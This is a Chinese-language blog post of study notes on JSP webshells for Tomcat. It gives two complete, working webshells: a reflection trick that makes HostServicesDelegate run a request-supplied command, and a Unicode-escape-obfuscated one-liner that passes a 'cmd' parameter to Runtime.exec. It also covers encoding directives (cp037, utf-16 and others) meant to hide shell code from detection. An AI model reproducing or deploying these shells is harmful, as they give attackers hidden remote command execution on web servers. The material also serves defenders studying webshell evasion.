jdk-tomcat下jspshell学习

简介

​ 主要就是对<<java webshell攻防下的黑魔法>>学习 , 推荐看原文,太复杂了 先放放

反射修改

0x01 StandaloneHostService

com.sun.deploy.uitoolkit.impl.fx.HostServicesFactory.StandaloneHostService

image-20250102174717073

image-20250102174738274

反射修改browsers为二进制命令,在传值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@ page import="com.sun.javafx.application.HostServicesDelegate" %>
<%@ page import="com.sun.deploy.uitoolkit.impl.fx.HostServicesFactory" %>
<%@ page import="com.sun.deploy.uitoolkit.impl.fx.ui.FXDefaultPreloader" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Modifier" %>
<%
System.setProperty("os.name","Linux");
String a = request.getParameter("a");
String b = request.getParameter("b");
if(a!=null && b!=null){
HostServicesDelegate instance = HostServicesFactory.getInstance(new FXDefaultPreloader());
Field browser = instance.getClass().getDeclaredField("browsers");
Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
modifiersField.setAccessible(true);
modifiersField.setInt(browser, browser.getModifiers() & ~Modifier.FINAL); //②
browser.setAccessible(true);
browser.set(instance,new String[]{a});
instance.showDocument(b);
}
%>

image-20250102174854453

0x02 Unicode

Q:为什么支持Unicode的写法? A:Javac/ecj在底层解析字符的时候支持Unicode编码

Q:为什么支持\uuuuu这种格式? A:解析过程中只要‘\’的下一个字符是‘u’ 编译器就会一直继续循环,读取下一个字符

• Javac:com.sun.tools.javac.parser.UnicodeReader#convertUnicode

• ecj:org.eclipse.jdt.internal.compiler.parser.Scanner#getNextUnicodeChar

image-20250102182400397

1
2
<% \uuuuuuuuu0052\uuuuuuuuuuuuu0075\uuuu006e\uu0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\uuuuu0065\uuuuu0078\uuuuu0065\uuuu0063\u0028\u0072\u0065\u0071\uuuuuuu0075\u0065\u0073\u0074\uuuuu002e\u0067\u0065\u0074\u0050\u0061\uuuu0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\uu0022\u0029\u0029\u003b %>

image-20250102182441702

0x03 Tomcat对于编码的解析过程

关于tomcat下编码后的代码文件如何被识别:文中“对于这部分处理逻辑其实是由org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding做处理,在这个类方法当中有两个比较重要的属性isXml与sourceEnc,字面理解就能得出一个判定是否jsp格式是通过xml格式编写,另一个sourceEnc也就决定着jsp文件的编码相关”

xml格式的声明中最主要是标签中的encoding属性,其决定了内容的编码如: 表示内容以utf-8进行内容编码

识别xml格式的方式 1.根据后缀名.jspx或.tagx (文中说明不作讨论)2.后缀名不符合则根据文本内容是否包含有形如<xxx:root格式的文本,如果有也会识别为一个xml格式

image-20250103092132396

image-20250103092355250

image-20250103092410544

image-20250103092443329

可用部分的编码单字节编码:cp037、cp290等、• 2或4字节编码:utf-16le, utf-16be等、4字节编码:utf-32le、utf-32be等

  1. <%@ page contentType=”charset=cp037” %>
  2. <%@ page pageEncoding=”cp037” %>
  3. <jsp:directive.page contentType=”charset=cp037”/>
  4. <jsp:directive.page pageEncoding=”cp037”/>

image-20250103093841024

reference

https://cloud.tencent.com/developer/article/2382449

https://www.anquanke.com/post/id/210630

https://github.com/turn1tup/JspEncounter


jdk-tomcat下jspshell学习
https://unam4.github.io/2025/01/02/jdk-tomcat下jspshell学习/
作者
unam4
发布于
2025年1月2日
许可协议